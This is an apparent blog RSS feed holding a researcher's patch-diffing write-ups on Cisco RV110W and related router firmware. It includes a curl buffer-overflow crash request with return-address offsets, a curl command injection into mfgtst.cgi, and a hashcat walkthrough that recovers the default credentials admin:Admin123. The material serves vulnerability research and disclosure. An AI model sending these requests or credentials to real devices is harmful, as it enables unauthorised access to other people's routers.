
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;cip&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmac&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;cmac&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;submit_button&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit_button&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strstr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;submit_button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;status_guestnet.asp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// they're looking for status_guestnet.asp;session_id=current_user_session_id_value&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sscanf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;submit_button&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%[^;];%*[^=]=%[^&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack108&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acStack172&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The &lt;em&gt;submit_button&lt;/em&gt; value is user controlled and given that size is not explicitly provided, we can overflow acStack108 or acStack172. The curl command below is a reduced crash case that will overwrite the return address with 0x42424242 (BBBB).&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-curl&quot; data-lang=&quot;curl&quot;&gt;curl -ki -X POST https://192.168.1.43/guest_logout.cgi -d&quot;cmac=00:01:02:03:04:05&quot;\
-d &quot;ip=192.168.1.1&quot;\
-d &quot;submit_button=status_guestnet.aspAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;!-- TODO: update metasploit payloads ? --&gt;

&lt;p&gt;Here’s the function offsets for reference:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;Model&lt;/strong&gt;&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;&lt;strong&gt;Firmware&lt;/strong&gt;&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;&lt;strong&gt;Offset&lt;/strong&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;RV110&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;1.2.2.5&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0x004317f8&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;RV130&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;1.0.3.52&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0x0002b170&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;RV215&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;1.3.1.5&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0x0043441c&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;finding-cve-2020-3332&quot;&gt;Finding CVE-2020-3332&lt;/h3&gt;

&lt;p&gt;CVE-2020-3332 is described as “&lt;em&gt;A vulnerability in the web-based management interface of &lt;strong&gt;Cisco Small Business RV110W, RV130, RV130W, and RV215W Series Routers&lt;/strong&gt; could allow an &lt;strong&gt;authenticated, remote attacker to inject arbitrary shell commands that are executed by an affected device&lt;/strong&gt;.&lt;/em&gt;”.&lt;/p&gt;

&lt;p&gt;I identified (now patched) command injections in these functions:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;&lt;strong&gt;Offset&lt;/strong&gt; (firmware version 1.2.2.5)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;IperfServerCmd&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0x004141e8&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;IperfClientCmd&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0x00414e58&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SetWLChCmd&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0x00415f2c&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SetWLSSIDCmd&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0x00416974&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Each of these functions follows the same insecure procedure:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Read query parameter with &lt;em&gt;get_cgi&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;Build a command line using obtained query parameter&lt;/li&gt;
  &lt;li&gt;Call &lt;em&gt;system&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_command_injection.png&quot; alt=&quot;rv110_command_injection&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I still don’t fully understand how these functions can be called from the web interface. They seem to be called by an undocumented CGI script named &lt;em&gt;mfgtst.cgi&lt;/em&gt;. I found some &lt;a href=&quot;https://www.securityfocus.com/archive/1/541369&quot;&gt;obscure reference&lt;/a&gt; to it on the Internet, mentioning that simply &lt;em&gt;calling&lt;/em&gt; the CGI script would trigger a denial of service on some old Linksys device. The script itself looks like a diagnostic tool that will check wireless settings, USB settings, and performances.&lt;/p&gt;

&lt;h4 id=&quot;update---october-5th-2020&quot;&gt;Update - October 5th 2020&lt;/h4&gt;

&lt;p&gt;I finally identified how these CGIs calls can be triggered. The curl command below will inject the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping -c 3 10.10.10.100&lt;/code&gt; into a system call by using double pipes.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-curl&quot; data-lang=&quot;curl&quot;&gt;curl -ki -X POST 'https://192.168.1.43/mfgtst.cgi?sys_iperfServer=1&amp;amp;sys_iperfWinSize=1
&amp;amp;sys_iperfPort=80%7C%7Cping%20-c%203%2010.10.10.100%7C%7C&amp;amp;sys_iperfMode=-u
;session_id=0d00538ca990439d194ff8b294927e08'
HTTP/1.1 200 Ok
Server: httpd
Date: Mon, 05 Oct 2020 10:31:09 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/plain
Connection: close

HTTP/1.1 200 Ok
Server: httpd
Date: Mon, 05 Oct 2020 10:31:16 GMT
Content-Type: text/plain
Connection: close&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Note that the call must be authenticated and that a specific NVRAM value (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mfg_radio&lt;/code&gt;) must be set to “on” manually for the injection to work.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I learned a lot of things over the course of this patch diffing session. I’m now able to navigate and understand both Ghidra version tracker and BinDiff user interfaces. I identified blind spots in my review process, such as the fact I never looked for calls to &lt;em&gt;sscanf&lt;/em&gt; in the past.&lt;/p&gt;

&lt;p&gt;This exercise gave me a lot to think about, especially on the subject of automation. It would be great to have static and dynamic analyzers for embedded device binaries that can not only identify insecure C calls, but can filter the noise to only show the ones that are most likely to be exploitable. A lot of calls to &lt;em&gt;system&lt;/em&gt; in these firmwares are using fixed strings for example, and we’re not interested in those.&lt;/p&gt;

&lt;p&gt;I have had interesting results using Radare2 and Unicorn engine and I’ll most likely publish something in the coming months. The idea is to identify functions in the binary that calls system() using r2. Then we fully emulate the function using Unicorn Engine while hooking &lt;em&gt;system&lt;/em&gt; and &lt;em&gt;get_cgi&lt;/em&gt;. The &lt;em&gt;get_cgi&lt;/em&gt; hook would return a tainted value, while the &lt;em&gt;system&lt;/em&gt; hook would proceed by checking if the system call parameter contains our tainted value in an insecure way (i.e. unquoted).&lt;/p&gt;

&lt;p&gt;There’s a lot to do, but I think I know how to move forward ! As always, if you have any question just get in touch on &lt;a href=&quot;https://twitter.com/qkaiser&quot;&gt;Twitter&lt;/a&gt; or by &lt;a href=&quot;mailto:kaiserquentin@gmail.com&quot;&gt;email&lt;/a&gt; :)&lt;/p&gt;
</description>
        <pubDate>Thu, 01 Oct 2020 12:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/exploitdev/2020/10/01/patch-diffing-cisco-rv110/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/exploitdev/2020/10/01/patch-diffing-cisco-rv110/</guid>
      </item>
    
      <item>
        <title>Ghetto Patch Diffing a Cisco RV110W Firmware Update</title>
        <description>&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/ville100couleur_frite100sauce.jpg&quot; alt=&quot;headerpicture&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I received an email last week from someone looking into vulnerabilities affecting Cisco RV110W. They were wondering if I had any information about &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3323&quot;&gt;CVE-2020-3323&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3330&quot;&gt;CVE-2020-3330&lt;/a&gt;, or &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3331&quot;&gt;CVE-2020-3331&lt;/a&gt; that were released at the same time than &lt;a href=&quot;/exploitdev/2020/07/14/breaking-cisco-rv-again/&quot;&gt;the ones I had found&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2020-3323&lt;/strong&gt; and &lt;strong&gt;CVE-2020-3331&lt;/strong&gt; are described as &lt;strong&gt;unauthenticated remote code execution&lt;/strong&gt;, while &lt;strong&gt;CVE-2020-3330&lt;/strong&gt; is a system account with &lt;strong&gt;default password&lt;/strong&gt;. They were discovered by Larryxi of XDSEC, and Gyengtak Kim, Jeongun Baek, and Sanghyuk Lee of GeekPwn.&lt;/p&gt;

&lt;p&gt;Knowing nothing about these specific issues, I initially answered that they should download firmware files and perform patch diffing, looking for memory corruption fixes like “strcpy” magically morphing into “strncpy”. As I went through the advisories, I couldn’t resist the urge to do it myself, especially when these issues are similar to the ones I reported. I think it’s a nice exercise in identifying my own blind spots :)&lt;/p&gt;

&lt;h2 id=&quot;finding-cve-2020-3330&quot;&gt;Finding CVE-2020-3330&lt;/h2&gt;

&lt;p&gt;I started by downloading the two most recent version of Cisco RV110W firmware (1.2.2.8 and 1.2.2.5) and extracting them with binwalk.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;binwalk &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; RV110W_FW_1.2.2.5.bin
binwalk &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; RV110W_FW_1.2.2.8.bin&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now we need to find what changed between these two updates. We will hash each file from the squashfs filesystem using MD5 and then compare fingerprints using diff.&lt;/p&gt;

&lt;p&gt;Let’s start by building the hash files:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;_RV110W_FW_1.2.2.8.bin.extracted/squashfs-root
find &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-type&lt;/span&gt; f &lt;span class=&quot;nt&quot;&gt;-print&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; | xargs &lt;span class=&quot;nb&quot;&gt;md5sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /tmp/1.2.2.8.md5
&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;_RV110W_FW_1.2.2.5.bin.extracted/squashfs-root
find &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-type&lt;/span&gt; f &lt;span class=&quot;nt&quot;&gt;-print&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; | xargs &lt;span class=&quot;nb&quot;&gt;md5sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /tmp/1.2.2.5.md5&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then we can run diff:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-diff&quot; data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;gh&quot;&gt;diff /tmp/1.2.2.8.md5 /tmp/1.2.2.5.md5
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;19c19
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 368ab456e18c04cb3d8ffb8e528ef170  ./etc/md5sum.txt
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 8c74c076738f27a738f93ec161c02262  ./etc/md5sum.txt
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;31c31
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 647fe68301879b3f814a715fb20386f2  ./lib/libfl.a
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; ab644927751c779bbd1542792d565867  ./lib/libfl.a
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;37,38c37
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 92953276fec01291e18a07725f9b069c  ./lib/librt.so.0
&amp;lt; 817231f2bd5b726880622953ee67832b  ./lib/modules/2.6.22/extra/ctbootnv.ko
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 5dd7d389f08ce9b8135908d8ffd750ea  ./lib/modules/2.6.22/extra/ctbootnv.ko
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;41c40
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; ef2454ad5779b006409d0526344b2d7e  ./lib/modules/2.6.22/kernel/drivers/net/et/et.ko
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 6bc8fb87f9ad4b012ce644452bfc8215  ./lib/modules/2.6.22/kernel/drivers/net/et/et.ko
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;46c45
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; d797b7aafc018749a1d85278f4d8142f  ./sbin/rc
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; dbc99e8e9e7dbcd2b200263cc2b30315  ./sbin/rc
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;142c141
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 0e52bf5408d0c41d5905a26d02cae993  ./usr/lib/libcbt.so
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 27d13e7f04eb8ba2b15bf4d636e436da  ./usr/lib/libcbt.so
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;144c143
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 0e87b97e11407b3260cdaf2a760ac81b  ./usr/lib/libdlib.a
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; e213bf88ad4e15a80fef55adbcc1662c  ./usr/lib/libdlib.a
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;146c145
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 46046cf30b1839eeb4208196456d225d  ./usr/lib/libipsec.la
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; b382e5205fc04ebaa4ab59f5c334e628  ./usr/lib/libipsec.la
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;152c151
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 133fe8b7b4956ce9fd47b5ede331a848  ./usr/lib/libnetsnmpmibs.so.15
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; e85b5a45da101d85445ca399247272f9  ./usr/lib/libnetsnmpmibs.so.15
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;156,159c155,158
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; cea7cc0dea1e9a8f0eb2799757d26561  ./usr/lib/libnvram.so
&amp;lt; 2653da316aab8321d977482895cca383  ./usr/lib/libracoon.la
&amp;lt; 01c32b07c7c004034fe7238bf9dab2b1  ./usr/lib/libracoon.so.0.0.0
&amp;lt; 4cb74441dc94a45c6ecd644c97090e59  ./usr/lib/libshared.so
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; fde7fc6b44fd1d7805995aac3e1df24c  ./usr/lib/libnvram.so
&amp;gt; 09f5f556bbd219fd0ae8a3d9546616a7  ./usr/lib/libracoon.la
&amp;gt; c9db70ecc1fdf17044214422c3840150  ./usr/lib/libracoon.so.0.0.0
&amp;gt; ade2dc97e8e6327166ca7485d853d5f4  ./usr/lib/libshared.so
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;271c270
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; bc4dce4d95f96f8d1cf90c2b331f3d83  ./usr/sbin/httpd
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 41b97cb3d00c2dcf8f5097d2b934eeb0  ./usr/sbin/httpd
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;283c282
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; a13f7de707affb598501c9367e73ee0c  ./usr/sbin/nas
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 5644c75181960676986a4f2466832b60  ./usr/sbin/nas
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;288c287
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 84a4a78f6d3eea914dd5d087e13010c1  ./usr/sbin/phymons
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 280ecb85103909f1729399d37059edb6  ./usr/sbin/phymons
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;292c291
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 7a6e866111841257d36f077f0c103931  ./usr/sbin/pppd
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 4e863eac40aa02d675422d4de4368a4d  ./usr/sbin/pppd
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;297,298c296,297
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 383650aa5c9fb43e1316eebfaa1fe9b7  ./usr/sbin/racoon
&amp;lt; 9d0db31f7d486acac90ba75dd65dadd5  ./usr/sbin/racoonctl
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; c89d4139ec8d54e5dfbb134f94c5c897  ./usr/sbin/racoon
&amp;gt; bd58d801951be4fb2307325b4d466c60  ./usr/sbin/racoonctl
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;305c304
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; ad5c5e8b2699e001ff3a730a713f7389  ./usr/sbin/setkey
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 015c1854bcd956d256f2aa8cc5e48681  ./usr/sbin/setkey
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;308c307
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 43b633daa48f6b27f79e009bc7165fe1  ./usr/sbin/syslog-ng
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 6c7ade7cc8eaa0d635c0568961692ca6  ./usr/sbin/syslog-ng
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;316a316
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; d9a523641b71ff29baf20be8fcaced0c  ./usr/sbin/utelnetd
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;318c318
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; fe71410010182a0ecf89d3afdf850a33  ./usr/sbin/wl
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 0e8583d5752651d3e5472f934bb6a405  ./usr/sbin/wl
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;330c330
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 823601a95d6bf9b6df8b89b8c9631e2b  ./www/backup.asp
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 892dfab8ca68b80f1d04032e37fc7056  ./www/backup.asp
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;703c703
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; dc530b5cc00512442ab24579054ba381  ./www/login.asp
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; 8e95fb6562b6c03387b93b577e1f05cd  ./www/login.asp
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;746c746
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;&amp;lt; 4bd9eb5f19168ceb4c402a4ea52705f1  ./www/time_zone.asp
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;&amp;gt; b321892333aa06e743d5b1a637c1a4a1  ./www/time_zone.asp&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It appears that Cisco simply removed &lt;em&gt;utelnetd&lt;/em&gt; binary from the firmware. It makes sense given that this service can’t be enabled from the web UI. Probably an artifact left from internal testing.&lt;/p&gt;

&lt;p&gt;Anyway, &lt;em&gt;utelnetd&lt;/em&gt; - like any good unix tool - rely on &lt;em&gt;/bin/login&lt;/em&gt; to authenticate users. It’s a built-in binary that uses &lt;em&gt;/etc/shadow&lt;/em&gt; to authenticate users. The shadow file is absent from the firmware squashfs file system so it must be generated when the device boots up.&lt;/p&gt;

&lt;p&gt;Let’s search for references to &lt;em&gt;/etc/shadow&lt;/em&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'etc/shadow'&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt;
Binary file ./squashfs-root/bin/busybox matches
Binary file ./squashfs-root/sbin/rc matches
Binary file ./squashfs-root/lib/libc.so.0 matches&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;em&gt;/sbin/rc&lt;/em&gt; is a good candidate. That binary is executed during Linux initialization procedure. Let’s run strings on it and look for references to &lt;em&gt;/etc/shadow&lt;/em&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strings ./squashfs-root/sbin/rc | &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;shadow
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'admin:$1$aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.:15880:0:99999:7:::'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /etc/shadow&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And voilà ! We now know that the static default credentials belonged to the admin user. However we only have the md5crypt hash of that password. Let’s run hashcat with rockyou and some rules:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat -O -w 4 --status -m 500 /tmp/rv110.txt /tmp/rockyou.txt -r /tmp/InsidePro-PasswordsPro.rule  --show
$1$aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.:Admin123
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There you go. The static credentials found in RV110W firmware before 1.2.2.8 are &lt;strong&gt;admin:Admin123&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Note that I never found a way to enable Telnet from the device web interface and that none of the RV110W &lt;a href=&quot;https://www.shodan.io/search?query=ssl%3ARV110W+port%3A23&quot;&gt;exposed on the Internet&lt;/a&gt; have Telnet port open.&lt;/p&gt;

